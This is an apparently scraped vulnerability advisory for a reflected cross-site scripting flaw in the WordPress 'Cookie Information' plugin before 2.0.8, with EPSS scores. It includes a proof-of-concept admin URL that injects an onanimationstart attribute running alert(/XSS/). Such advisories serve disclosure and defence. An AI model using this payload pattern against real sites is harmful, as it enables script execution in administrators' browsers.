Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:2C735365-69C0-4652-B48E-C4A192DFE0D1
HistoryFeb 21, 2022 - 12:00 a.m.

Cookie Information < 2.0.8 - Reflected Cross-Site Scripting

2022-02-2100:00:00
Krzysztof Zając
78

0.001 Low

EPSS

Percentile

41.5%

The plugin does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected Cross-Site Scripting issue

https://example.com/wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28/XSS/%29+style%3Danimation-name%3Arotation+x

0.001 Low

EPSS

Percentile

41.5%

Related for WPEX-ID:2C735365-69C0-4652-B48E-C4A192DFE0D1